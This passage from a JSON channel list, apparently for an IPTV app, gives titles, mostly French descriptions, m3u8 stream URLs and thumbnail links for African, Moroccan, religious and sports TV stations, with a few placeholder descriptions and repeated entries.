Il a été lancé début août 2016, diffusant spécifiquement pour les téléspectateurs africains, à travers l'Afrique et l'Europe. La chaîne a été créée sous les auspices de Mirza Masroor Ahmad, le chef spirituel de la communauté musulmane Ahmadiyya. MTA Africa est géré et financé volontairement par les Ahmadis.","sources":["https://ooyalahd2-f.akamaihd.net/i/mtaengaudio_delivery@138280/index_3000_av-p.m3u8"],"subtitle":"By Blender Channel","thumb":"https://pbs.twimg.com/profile_images/950498775893774338/XKhzDO2.jpg","title":"MTA AFRICA"},{"description":"L’Office de Radiodiffusion et Télévision du Bénin (ORTB) est le service public de l’audiovisuel du Bénin. C’est un établissement public à caractères social, culturel et scientifique doté de la personnalité morale et de l’autonomie financière. ORTB, pas sans vous !/ Tél: +229 21 30 00 48/ Whatsapp: +229 69 70 55 55/ Email: contact@ortb.bj","sources":["http://51.77.223.83/ortb.m3u8"],"subtitle":"By Channel","thumb":"https://www.lavoixduconsommateur.org/images/services/1533219563.jpg","title":"ORTB / Bénin"},{"description":"Dream Channel est une chaine télévisée ematant au cameroune qui diffuse de la musique de toutes tendances.","sources":["http://connectiktv.ddns.net:5000/dreamchannel/dreamchannel/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://connectik.tv/wp-content/uploads/2019/06/c1b45634-2f8c-47e7-8849-e6d7ea620465-300x169.jpg","title":"DREAM CHANNEL TV / Cameroune"},{"description":"Canal Algérie est la deuxième chaîne de télévision nationale grand public algérienne. La chaîne fait partie du groupe EPTV qui comprend également TV1, TV3, TV4, TV5, TV6 et TV7. C'est une chaîne francophone. La chaîne diffuse ses programmes 24h / 24 et 7j / 7 via différentes plateformes et partout dans le monde.","sources":["http://46.105.114.82/canal_algerie.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/2/22/Logo_Canal_Algerie.svg/800px-Logo_Canal_Algerie.svg.png","title":"Canal Algerie"},{"description":"Radio Télévision Sénegalaise est une station de radio diffusée sur le réseau de Radiodiffusion Télévision Sénégalaise (RTS1 HD) de Dakar, au Sénégal, fournissant des informations, des sports, des débats, des émissions en direct et des informations sur la culture ainsi que la musique.","sources":["http://46.105.114.82/rts1.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/VZyPxURRRo-C0lEWHggT8C-dDJvFNFTVxKrn1yKUNROoT85XnOl9VcmM5HFzyRDwvgs","title":"Radio Télévision Sénegalaise 1 HD"},{"description":"Kalsan est une chaîne de télévision Somalienne dont le siège est à Londres. Elle a commencé à diffuser en 2013. La chaîne est axée sur les Somaliens. La programmation est principalement axée sur les actualités et les divertissements.","sources":["http://cdn.mediavisionuae.com:1935/live/kalsantv.stream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://xogdoonnews.net/wp-content/uploads/2017/11/kalsan-tv.jpg","title":"KALSAN TV / Somalie"},{"description":"One Africa Television est une chaine de television namibien crée en 2003 et couvrant à l'origine uniquement Windhoek, Rehoboth et Okahandja, One Africa Television a connu une croissance significative, avec son signal diffusé via 29 émetteurs analogiques à travers la Namibie. En 2013, One Africa Television a rejoint l'ère numérique, et la chaîne est depuis disponible sur le réseau de télévision numérique terrestre de la Namibian Broadcasting Corporation (Channel 301) ainsi que sur la plateforme DStv Namibia de MultiChoice (Channel 284) ainsi que sur le réseau numérique terrestre GoTV de MultiChoice. Président du groupe d'Africa Television, Paul van Schalkwyk, a été tué dans un accident d'avion le 10 mars 2014.","sources":["https://za-tv2a-wowza-origin02.akamaized.net/oneafrica/smil:oneafrica/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://neweralive.na/uploads/2016/11/Untitled-1.jpg","title":"ONE AFRICA TV / Namibia"},{"description":"VISION4 TV est une chaine television panafricanisme Camerounais crée en 2008. qui diffuse des Émissions hauts de gamme telsque : Afro Café, Matinale infos, le journal d'afrique, tour d'horizon, journal de 12, women's story, The 6h00 pm news, Let's talk, Meeting point le grand live, le grand journal de 20h, santé spirituelle, sport time, Arrêt majeur, Au cœur du mystère, parole d'artistes, Femme attitude, Panafritude, Rendez-vous santé, afro zik, Club d'élites, Plateau du Jaguar, Dimanche bonheur, face aux dinosaures. Vision 4 Le Groupe Anecdote Vision 4 TV, Satelite FM, Africa Express Siège social : Yaoundé - Cameroun (Nsam) Secrétariat PDG : Tel : +237 242 71 88 13 / Fax : +237 222 31 67 81 Service de l'information : Tel : +237 242 71 87 68 Yaoundé Centre B.P 25070 Cameroun","sources":["http://cdnamd-hls-globecast.akamaized.net/live/ramdisk/vision4/hls_video/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Vision_4.jpg/600px-Vision_4.jpg","title":"VISION 4"},{"description":"Nago TV is a Haitian television channel 100% devoted to music videos(Compass, Rap Creole, Racine).","sources":["http://haititivi.com:8088/haititv/tele6NY/index.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/GdAVtX7AU8834RaKoUC4c3itv2A_R1k8XATBf26G_IgQKnvxEtAew0cJOr_kWOpWkpY","title":"NAGO TV / Haiti"},{"description":"Lagos Television has been a trail blazer right from inception. Apart from being the first TV station outside the NTA family, the station took the Nigerian TV industry by storm in the early 80s with the introduction of a 60-hour non stop weekend from 7pm on Fridays till 7am on Mondays. The then Lagos weekend Television was the first marathon TV station in Africa. It’s unprecedented public approval transformed TV viewership especially within the Lagos precinct and brought a change in the call sign LTV/LWT.","sources":["http://185.105.4.193:1935/ltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lagostelevision.com/wp-content/uploads/2015/10/logo.png","title":"Lagos Television"},{"description":"Emmanuel TV is the television station of The Synagogue, Church Of All Nations, broadcasting 24/7 around the globe via satellite and on the internet. The purpose of Emmanuel TV is to preach the Good News to all mankind. That is what we are born for, living for and what we shall die for. Emmanuel TV is committed to changing lives, changing nations and changing the whole world through the Gospel of our Lord Jesus Christ. Jesus Christ is the inspiration behind Emmanuel TV; as such, God’s purpose is our purpose.","sources":["https://api.new.livestream.com/accounts/23202872/events/7200883/live.m3u8"],"subtitle":"By Channel","thumb":"https://scoan-website-emmanueltv.netdna-ssl.com/wp-content/blogs.dir/12/files/2016/09/emmanuel_tv_icon.png","title":"Emmanuel TV"},{"description":"Addis TV is a City Channel based in Addis Ababa, Ethiopia, which broadcasts News and Programs 24/7.","sources":["https://rrsatrtmp.tulix.tv/addis1/addis1multi.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://et.heytv.org/wp-content/uploads/2019/04/Addis-webtvonlive-com.jpg","title":"Addis TV / Ethiopia"},{"description":"Resurrection TV is a Christian based station aimed at uplifting your soul with an unadulterated word of God. it ensures a distinction between sin and righteousness.","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/f5/ae/9ef5aeb5c1ddd05a20d27faaf5d9b931.jpg","title":"Résurrection TV/ Ghana"},{"description":"CTV frique est une television camerounaise basee a yaounde.","sources":["http://connectiktv.ddns.me:8080/ctv-africa/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/01/CTV-1-300x212.jpeg","title":"CTV AFRICA"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["http://connectiktv.ddns.me:8080/afriqueplustv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/07/NEW-LOGO0047_00000_00000-300x169.png","title":"AFRICA PLUS TV "},{"description":"1 ok.","sources":["http://connectiktv.ddns.me:8080/mygospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mygospel-300x140.png","title":"MY GOSPEL TV"},{"description":"2 ok.","sources":["http://connectiktv.ddns.me:8080/media-prime/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myprime15-300x140.png","title":"MEDIA PRIME TV"},{"description":"3 ok.","sources":["http://connectiktv.ddns.me:8080/mymusic/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mymusic1.png","title":"MY MUSIC TV "},{"description":"4 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-en/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myenglish-300x140.png","title":"MY MOVIE TV / English"},{"description":"5 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-fr/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myfresh-300x140.png","title":"MY MOVIE TV / Francais"},{"description":"6 ok","sources":["http://connectiktv.ddns.me:8080/bikutsitv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/09/bikutsi-300x63.jpeg","title":"BIKUTSI TV"},{"description":"7 ok.","sources":["http://connectiktv.ddns.me:8080/cam10tv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/07/CAM10-REVUE.jpg","title":"CAM 10 TV / Cameroune"},{"description":"8 ok.","sources":["http://connectiktv.ddns.me:8080/leadergospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/leader-cable.jpg","title":"LEADER GOSPEL TV / Religion"},{"description":"9 ok.","sources":["http://connectiktv.ddns.me:8080/vstv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/VS-TV-300x168.jpg","title":"VS tv"},{"description":"10 0k.","sources":["http://connectiktv.ddns.me:8080/mytv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/mytv-channel-hd-300x169.jpg","title":"MY TV CHANNEL"},{"description":"Radio Tele Puissance est une chaine chrétienne qui diffuse en direct des programmes chrétien avec des vidéos et des films Gospel de premier ordre, des documentaires. radio Tele Puissance est une station très divertissante..","sources":["https://video1.getstreamhosting.com:1936/8560/8560/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://radioendirect.net/assets/images/radio/item/119251.jpg","title":"Radio Tele Puissance"},{"description":"Christ live est une chaine télévision de divertissement chrétienne disponible sur le satellite.","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/Cliv.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/christ-tv_logo.jpg","title":"CHRIST TV / Religion"},{"description":"QTV Gambia is the First Private Television Station","sources":["https://player.qtv.gm/hls/live.stream.m3u8"],"subtitle":"By Channel","thumb":"https://standard.gm/wp-content/uploads/2020/08/QTV-696x495.jpg","title":"QTV / Gambia"},{"description":"TVM International, or TVM Internacional, is the international channel of Mozambique's national TV broadcaster, Televisão de Moçambique (TVM), broadcasting for 24 hours per day. The channel will showcase local programming featuring Mozambican culture, tourism and sports.","sources":["http://196.28.226.121:1935/live/smil:Channel2.smil/chunklist_b714000_slpor.m3u8"],"subtitle":"By Channel","thumb":"https://clubofmozambique.com/wp-content/uploads/2020/03/tvmint.rm.jpg","title":"TVM Internacional"},{"description":"K24 TV est une chaine de télévision généraliste Kényane fondée en 2007 basé à Longonot Place, P. O. Box 49640 Kijabe St Tél : +254 20 2124801. K24 TV diffuse sur la télévision terrestre et en streaming sur Dailymotion et sur son site internet..","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/K24.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/k24-tv_logo.jpg","title":"K24 TV / Kenya"},{"description":"Afrobeat tv is a division of kaycee records .Kaycee Records is an independent record label established in the United Kingdom, and Nigeria Owned by Kennedy Kesidi Richard from Oguta in Imo State Nigeria .Afro beat tv is the new musical innovation to promote African art and and as a platform to promote and create awareness for up coming African artist all around the globe","sources":["http://connectiktv.ddns.net:8080/afrobit/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/05/AFROBIT-png-300x168.png","title":"AFROBITS / Music"},{"description":"Dunamis International Gospel Centre (DIGC) Jos Central is a powerfully anointed church, where God's Presence and power are saving, healing and restoring human destinies and dignities! Located in Alheri, Jos, Plateau State with HQT in Abuja Nigeria. Dunamis (Doo'na-mis) is the Greek word that means POWER.","sources":["https://christianworld.ashttp9.visionip.tv/live/visiontvuk-religion-dunamistv-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/ng-dunamis-tv-2163-300x225.jpg","title":"DUNAMIS TV / Religion"},{"description":"France tv sport, c’est d’abord l’actualité de TOUS les sports. De l’analyse en temps réel, du live ou encore des replays vidéo sont disponibles à tout moment. Enrichissez votre expérience et plongez au cœur de l'actualité du sport.","sources":["https://streamserv.mytvchain.com/sportenfrance/SP1564435593_720p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://liberador.net/media/images/FranceTv_Sport.max-640x640.jpg","title":"SPORTS FRANCE TV"},{"description":"Darut Tarbiyah La télévision en direct du Réseau islamique de Trinité-et-Tobago Chaîne de télévision religieuse / Darut Tarbiyah Le Réseau islamique (T.I.N.) est une chaîne de télévision câblée locale de Trinité-et-Tobago diffusant des programmes islamiques. La station est transportée sur le canal 96 ou 116 sur le système de câble Flow Trinidad. DARUT TARBIYAH - LE RÉSEAU ISLAMIQUE. Darut Tarbiyah Drive, Ramgoolie Trace North, Cunupia, Trinidad Antilles. Tél: (868) 693-1722, 693-1393","sources":["http://162.244.81.145:2215/live/livestream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://theislamicnetwork.org/wp-content/uploads/musicpro/bd-uploads/logo_logo_TIN-Logo-White-Text.png","title":"THE ISLAMIC NETWORK"},{"description":"D Sports HD est une chaine qui se fcalise sur les Sports en General : WWE, BOX, Football: Ligue brésilienne, Super League chinoise, Ligue portugaise, Major League Soccer (USA) Courses hippiques: courses quotidiennes diffusées en direct du Royaume-Uni et d'Irlande Golf: British Open (The Open Championship), US Open, PGA Championship, LPGA Motorsports: NASCAR, Championnat du Monde de Rallycross FIA Rugby: 6 Nations Rugby Cyclisme: Tour de France (propriété d'Eurosport).","sources":["http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8"],"subtitle":"By Channel","thumb":"https://kccl.tv/sites/default/files/dsportjpg.jpg","title":"D Sports TV"},{"description":"Africa Sports TV est la première chaîne francophone d’information en continue de sport en Afrique. C’est un média fédérateur des sports africains. On parle de compétition locales, des ligues nationales sur toutes les disciplines du continent, dont le basketball, le football, la lutte… Il y aura beaucoup de lutte, qui prend un essor important sur le continent. Il y a tout un lobby autour de la lutte. Africa Sports TV est disponible Sur Le Canal 56 de la BbOX – Sur Le Canal 614 du Bouquet Africain Max de TV ORANGE.","sources":["https://strhls.streamakaci.tv/str_africasportstv_africasportstv/str_africasportstv_multi/str_africasportstv_africasportstv/str_africasportstv_player_1080p/chunks.m3u8"],"subtitle":"By Channel","thumb":"https://pbs.twimg.com/profile_images/1215646342812401668/SOnvVloX_400x400.jpg","title":"Africa Sports TV"},{"description":"Real Madrid TV est une chaîne de télévision numérique gratuite, exploitée par le Real Madrid, spécialisée dans le club de football espagnol. La chaîne est disponible en espagnol et en anglais. Il est situé à Ciudad Real Madrid à Valdebebas (Madrid), le centre de formation du Real Madrid.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hwebes_1@300661/index_3_av-b.m3u8"],"subtitle":"By Channel","thumb":"https://files.cults3d.com/uploaders/13539675/illustration-file/9c08780f-eb52-427b-aad7-b0a8c0fb83a1/real_madrid_ref1_large.JPG","title":"Real Madrid TV"},{"description":"Real Madrid Club de Fútbol, ce qui signifie Royal Madrid Football Club), communément appelé Real Madrid, est un club de football professionnel espagnol basé à Madrid. Fondé le 6 mars 1902 sous le nom de Madrid Football Club, le club porte traditionnellement un maillot blanc à domicile depuis sa création. Le mot réel est espagnol pour royal et a été accordé au club par le roi Alfonso XIII en 1920 avec la couronne royale dans l'emblème. L'équipe a disputé ses matchs à domicile dans le stade Santiago Bernabéu d'une capacité de 81 044 places au centre-ville de Madrid depuis 1947.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hweben_1@300662/master.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/e4/de/18/e4de1869c0eba3beab9ffc9d01660e65.jpg","title":"Real Madrid TV"},{"description":" EPT SPORTS HD est la nouvelle chaîne exclusivement sportive de l’audiovisuel public, ERT Sports HD, sa première officielle à 06h00 le matin du samedi 9 février 2019.","sources":["https://ert-live.siliconweb.com/media/ert_sports/ert_sportshigh.m3u8"],"subtitle":"By Channel","thumb":"https://png.pngitem.com/pimgs/s/681-6814150_ert-sports-hd-logo-ert-sports-hd-hd.png","title":"EPT Sports HD"},{"description":"Sports Tonight Live, branded simply as Sports Tonight, was a British television show and channel, owned by VISION247 based in Central London. It was launched online on 29 August 2011.","sources":["http://sports.ashttp9.visionip.tv/live/visiontvuk-sports-sportstonightlive-hsslive-25f-4x3-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://embeddedplayer.visionip.tv/portals/Sports_Tonight_Live/Sports_Tonight_Live/overlay_logos/Sports%20Tonight%20Live-plBackground-1308.png","title":"Sports Tonight"},{"description":"Arryadia HD TV est une chaîne sportive de télévision publique marocaine. Il fait partie du groupe public SNRT avec Al Aoula, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 16 septembre 2006. Arryadia est le diffuseur officiel de la ligue marocaine Botola.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arriadia/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://4.bp.blogspot.com/-lnh_8LWuXaw/WZ09LDkMsZI/AAAAAAAAEeI/9FKtxdQjbl4UVqmZjqN4R-fE9uOLG2ccQCLcBGAs/s1600/FB_IMG_1503465850383.jpg","title":"Arryadia TV / Maroc"},{"description":"Assadissa TV est une chaîne de télévision publique marocaine dédiée aux affaires religieuses. Il fait partie du groupe public SNRT avec Al Aoula, Arryadia, Athaqafia, Al Maghribia, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 3 novembre 2005. Outre les lectures du Coran, il existe également des programmes de services religieux, de débats et de documentaires. Il est diffusé tous les jours de 2h00 à 23h00. Le samedi, il est de 6h00 à 21h00.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/assadissa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7e/Assadissa.png","title":"Assadissa TV/ Maroc"},{"description":"Al Aoula, anciennement appelée TVM (Télévision marocaine, arabe: ??????? ????????), est la première chaîne de télévision publique marocaine. Il fait partie du groupe public SNRT avec Arryadia, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. Le réseau diffuse des programmes en arabe, berbère, français et espagnol. Son siège est situé à Rabat. Lancé en 1962, Al Aoula a été le premier réseau de télévision à produire et à diffuser ses propres programmes dans le pays. En 1962, il a commencé des émissions en couleur.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/al_aoula_inter/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://live.staticflickr.com/1853/44065447112_7a93bb434f.jpg","title":"Al Aoula TV/ Maroc"},{"description":"2M TV est une chaîne de télévision marocaine gratuite. Il a été créé par le conglomérat royal, ONA, avant d'être en partie vendu à l'État marocain. 20,7% de 2M appartiennent à la société holding de Mohammed VI SNI. Alors qu'environ 60% sont contrôlés par l'État marocain. Il est basé à Casablanca. Il est disponible gratuitement localement sur signal numérique avec une couverture sur tout le Maroc et sur la télévision par satellite via Globecast, Nilesat et Arabsat. 2M propose des services en arabe, français et berbère.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/2m_monde/hls_video_ts/2m_monde.m3u8"],"subtitle":"By Channel","thumb":"https://caidal.ma/wp-content/uploads/2019/04/ob_febd69_2-m-maroc-en-ligne.jpg","title":"2M TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Tele Maroc est la nouvelle chaîne satellitaire généraliste marocaine créée par rachid Niny. Siège à Madrid. « C’est donc une chaéne de télévision légalement espagnole avec un contenu marocain.","sources":["https://api.new.livestream.com/accounts/27130247/events/8196478/live.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/1d/b5/9e1db51201d4debce634f6e8b44a2424.jpg","title":"Tele Maroc"},{"description":"Tamazinght TV est une chaîne de télévision publique marocaine créée le 6 janvier 2010, propriété de la Société nationale de radiodiffusion et de télévision. La chaîne a pour objectif la promotion et la préservation de la culture amazighe au Maroc et dans la région de l'Afrique du Nord. en langue berbère. 70% en tashelhit, tarifit et tamazight (les 3 variantes du berbère du Maroc), le reste en arabe.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/tamazight_tv8_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"http://hub.tv-ark.org.uk/images/International/international_images/morocco_images/tamazight/Tamazight_TV_ident4_060912a.jpg","title":"Tamazight TV / Maroc"},{"description":"EMCI TV est une chaîne de télévision chrétienne évangélique francophone. Les studios de la chaîne se trouvent dans la ville de Québec, Canada. Le contenu de la programmation est assez varié et provient de divers pays francophones d’Afrique, d’Europe et d’Amérique. Des clips musicaux, des enseignements bibliques, des prédications, la Bible en vidéo, des temps de prière, des reportages, des documentaires, des films ainsi que des séries y sont présentés.","sources":["https://emci-fr-hls.akamaized.net/hls/live/2007265/emcifrhls/index.m3u8"],"subtitle":"By Channel","thumb":"https://www.enseignemoi-files.com/site/view/images/dyn-cache/pages/image/img/23/62/1522940482_236277_1200x630x1.f.jpg?v=2018021301","title":"EMCI TV / Religion"},{"description":"CIS TV est une chaine tv guinéen consacré au sport et à la culture. basée à Conakry, fondé en 2016 par Mamadou Antonio Souaré. CIS TV est diffuse via le satellite Fréquence Tv 3689: Symbole 1083: Satelite eutelsat 10a ZONES DE DIFFUSION : tiers d'Afrique.","sources":["http://51.81.109.113:1935/CDNLIVE/CISTV/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.senegal7.com/wp-content/uploads/2019/03/f9180cb9286c49c4f3a6c793798b9ddf.png","title":"CIS TV / Guinee"},{"description":"Faso TV est une initiative de Magic Communication et Médias, une société à responsabilité limitée basée à Ouagadougou, capitale du Burkina Faso. C’est une chaîne de télévision en ligne destinée à l’événementiel. Nous entendons par événementiel toutes manifestations ou activités à caractère culturel, économique, éducatif ou sportif dont l’objectif est de susciter la mobilisation, l’adhésion, l’engouement de la population ou d’un public cible au plan local, national ou international. Autrement dit, notre stratégie éditoriale consiste à faire la promotion de toutes activités qui contribuent au développement socio-économique et culturel, à l’éducation, au divertissement et au bien être de la population burkinabé et de sa diaspora.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/163893638025530331068059.m3u8"],"subtitle":"By Channel","thumb":"https://fasotv.net/wp-content/uploads/2019/10/logo-final-sans-slogan.png","title":"FASO TV / Burkina Fasso "},{"description":"Plex tv une chaîne généraliste spécialisé dans la retransmissions des événement. émission et qui diffuse aussi des films, musiques, divertissement, sport, magasine etc et une multitude de programme en haute définition.","sources":["http://connectiktv.ddns.net:5000/plextv/@plextv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lifetimepremiumaccounts.com/wp-content/uploads/2019/03/plex-logo.jpg","title":"PLEX TV / "},{"description":"PLAY TV est une chaine de télévision musicale Camerounaise basée à Yaoundé, elle diffuse un programme 100% musicale la musique d’ici et d’ailleurs en haute définition..","sources":["http://connectiktv.ddns.net:5000/playtv/@playtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/logo-play-tv-300x113.jpg","title":"PLAT TV / Cameroune "},{"description":"TVR Rennes 35 Bretagne est une chaîne de télévision locale née en mars 1987 sous le nom de TV Rennes. TVR Rennes 35 Bretagne fut inaugurée à son lancement par le président de la République, elle fut la première télévision locale créée en France elle est diffusée Canal 35 sur la TNT / Canal 30 sur Orange, Freebox et BBox / Canal 95 sur Numéricable et en direct streaming sur son site Internet.","sources":["https://streamtv.cdn.dvmr.fr/TVR/ngrp:tvr.stream_all/master.m3u8"],"subtitle":"By Channel","thumb":"https://w0.pngwave.com/png/890/19/tvr-tv-rennes-35-logo-television-channel-tvr-t350-png-clip-art.png","title":"Rennes TV / France Sports "},{"description":"Chaîne franco-marocaine basée à Tanger et destinée au Maghreb. Programmation culturelle avec information, reportages et documentaires. En arabe et en Français. Fin 2010, elle a également commencé à diffuser à la télévision analogique terrestre au Maroc, en plus de la télévision numérique par satellite. Il a été rebaptisé Medi 1 TV.","sources":["http://streaming.medi1tv.com/live/Medi1tvmaghreb.sdp/chunklist.m3u8"],"subtitle":"By Channel","thumb":"http://www.logotypes101.com/logos/807/C85CC3231EAD10CEC61C182C7DED072D/medi1tvlogo.png","title":"Medi 1 TV / Maroc"},{"description":"M24 Television est la chaîne d’info en continu de l’agence marocaine de presse (MAP). Une chaîne qui couvre l’actualité marocaine et internationale. Une chaîne fidèle aux valeurs de la MAP qui est le premier producteur d'information au Maroc. Le fil de la MAP se décline en cinq langues : Arabe, Amazighe, Français, Anglais et Espagnol. la MAP présente dans toutes les régions du Royaume et dans les cinq continents, elle fournit tous les médias en informations, reportages, analyses et portraits.","sources":["https://www.m24tv.ma/live/smil:OutStream1.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is5-ssl.mzstatic.com/image/thumb/Purple114/v4/e4/c6/3e/e4c63e4e-b8ff-a14e-cacd-3593f09c1f78/source/512x512bb.jpg","title":"M24 TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Al-Fath channel is the property of Sheikh Ahmed Awad Abdo, and is considered the satellite channel of the Islamic religious channels that follow the Sunnah, and offers a series of programs interpretation for the Quran Al-Kareem, and many true prophetic and the CEO is Prof. Ahmed Abdou Awad, the Islamic Scholar.","sources":["https://svs.itworkscdn.net/alfatehlive/fatehtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-alfath-tv.jpg","title":"Al Fath TV / Egypte"},{"description":"Al Hayah started broadcasting in 2008 during the last years of Mubarak's rule, which saw a revival in the ownership of the media. It was founded by businessman El Sayed El Badawi as part of Al Hayah Channels Network. El Badawi assumed the presidency of the Wafd Party from May 2010 until March 2018. El Badawi is one of the businessmen who played political roles in addition to owning media outlets, such as Al Dostor (link to profile). ","sources":["http://media.islamexplained.com:1935/live/_definst_mp4:ahme.stream_360p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/474x/76/1a/a4/761aa46eb54c24d21ca5866f21442426.jpg","title":"Al hayat TV / Maroc"},{"description":"The El Sharq channel broadcasts Various programs, from Egypt country in the Arabic language, last updated time on March 25, 2016. El Sharq which considered to view as a Free to air satellite TV channel.","sources":["https://mn-nl.mncdn.com/elsharq_live/live/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://egytvs.com/wp-content/uploads/2014/06/al-sharq-200x75.jpg","title":"Al sharq TV / Maroc"},{"description":"Guinée TV1 est une chaine de télévision généraliste 